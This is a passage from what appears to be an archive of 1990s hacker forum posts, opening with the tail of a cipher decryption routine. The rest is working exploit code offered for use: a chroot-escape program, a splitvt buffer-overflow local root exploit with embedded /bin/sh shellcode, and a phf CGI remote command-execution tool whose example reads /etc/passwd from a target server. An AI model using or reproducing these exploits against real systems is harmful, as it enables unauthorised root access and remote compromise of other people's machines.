+ (x76 >> 5); x76 -= (x10 & ~x54) + (x32 & x54) + xkey[4*i+3]; x54 &= 65535; x54 = (x54 << 13) + (x54 >> 3); x54 -= (x76 & ~x32) + (x10 & x32) + xkey[4*i+2]; x32 &= 65535; x32 = (x32 << 14) + (x32 >> 2); x32 -= (x54 & ~x10) + (x76 & x10) + xkey[4*i+1]; x10 &= 65535; x10 = (x10 << 15) + (x10 >> 1); x10 -= (x32 & ~x76) + (x54 & x76) + xkey[4*i+0]; if (i == 5 || i == 11) { x76 -= xkey[x54 & 63]; x54 -= xkey[x32 & 63]; x32 -= xkey[x10 & 63]; x10 -= xkey[x76 & 63]; } } while (i--); plain[0] = (unsigned char)x10; plain[1] = (unsigned char)(x10 >> 8); plain[2] = (unsigned char)x32; plain[3] = (unsigned char)(x32 >> 8); plain[4] = (unsigned char)x54; plain[5] = (unsigned char)(x54 >> 8); plain[6] = (unsigned char)x76; plain[7] = (unsigned char)(x76 >> 8); } Subject: Re: Firewalls/chroot & setuid() From: pluvius (Pluvius) Message-ID: References: Date: Tue, 30 Jan 96 16:10:03 PST To: kludge (Kludge) > > > Anyone here know of any explame exploits that subvert a chroot() > > > mechanism? > > I would be VERY interested in seeing the code.. if ya could upload > it here, or email it to me I would appreciate it.. /* * This program will break out of a chroot-ed environment. you need root. */ #include #include #include #include main(int argc, char **argv) { struct stat st1, st2; mkdir("dummy",0); chroot("dummy"); rmdir("dummy"); stat(".", &st1); do{ st2 = st1; chdir(".."); stat(".", &st1); } while ( st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino); chroot("."); execvp(argv[1],argv+1); } Subject: splitvt From: root (System Administrator) Message-ID: Date: Tue, 05 Dec 95 02:53:56 PST Avalon Security Research Release 1.3 (splitvt) Affected Program: splitvt(1) Affected Operating Systems: Linux 2-3.X Exploitation Result: Local users can obtain superuser privelages. Bug Synopsis: A stack overflow exists via user defined unbounds checked user supplied data sent to a sprintf(). Syntax: crimson~$ cc -o sp sp.c crimson~$ sp bash$ sp bash$ splitvt bash# whoami root Credit: Full credit for this bug (both the research and the code) goes to Dave G. & Vic M. Any questions should be directed to mcpheea@cadvision.com . ---------------------------------------------------------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } Subject: phf From: invalid (Tom Jackiewicz) Message-ID: <65VikD1w164w@upt.cyberflunk.com> Date: Sat, 09 Mar 96 12:20:40 PST /* Well, the bug was described on linux-sec this morning, so I * might as well toss the exploit up here. Self-Explanatory. * Thanks to bitwrior cuz he roolz. Tested on Linux and FreeBSD. * -- sno (3/8/96) */ /* On second thought, maybe it's not so self-explanatory. * instead of spaces in your command (argv[2]), you must use * "%20". Don't worry about it. Example: * phf www.fuckdup.com "cat%20/etc/passwd" * I recommend running the 'id' command before anything else, * so that you know where you stand (root or nobody). */ #include #include #include #include #include #include #include #include #include #define MAX_COMMAND 255 #define WWW_PORT 80 #define INIT_STRING "GET /cgi-bin/phf?Jserver=ns.uiuc.edu%0A" #define BOOKEND "%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0\n" #define THE_REST "Accept: */*\n" #define LYNXIZRAD "User-Agent: Lynx/2.3 BETA libwww/2.14\n" #define FUCKINGDONE "Referer: http://localhost/cgi-bin/phf\n" unsigned long int resolve(host) char *host; { unsigned long int addr; struct hostent *he; if( (he = gethostbyname(host)) == NULL ) { if( (he = gethostbyaddr(host, strlen(host), AF_INET)) == NULL) addr = -1; } else { bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list)); } return(addr); } void main(argc, argv) int argc; char **argv; { struct sockaddr_in sin; char buf[MAX_COMMAND], outbuf[MAX_COMMAND * 4], incum[1024]; u_short port = WWW_PORT; FILE *fp; u_int s; if(argc != 3) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(1); } if( (s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Unable to open stream socket"); exit(1); } strncpy(buf, argv[2], MAX_COMMAND - 1); sin.sin_family = AF_INET; sin.sin_addr.s_addr = resolve(argv[1]); sin.sin_port = htons(port); if( (connect(s, (struct sockaddr *)&sin, sizeof(struct sockaddr_in))) == -1) { perror("Unable to connect to target's www server"); exit(1); } strncpy(outbuf, INIT_STRING, sizeof(INIT_STRING)); strncat(outbuf, buf, sizeof(buf)); strncat(outbuf, BOOKEND, sizeof(BOOKEND)); strncat(outbuf, THE_REST, sizeof(THE_REST)); strncat(outbuf, LYNXIZRAD, sizeof(LYNXIZRAD)); strncat(outbuf, FUCKINGDONE, sizeof(FUCKINGDONE)); write(s, outbuf, sizeof(outbuf)); fp = fdopen(s, "r"); while(fgets(incum, 1023, fp)) { printf("%s", incum); } shutdown(s, 2); }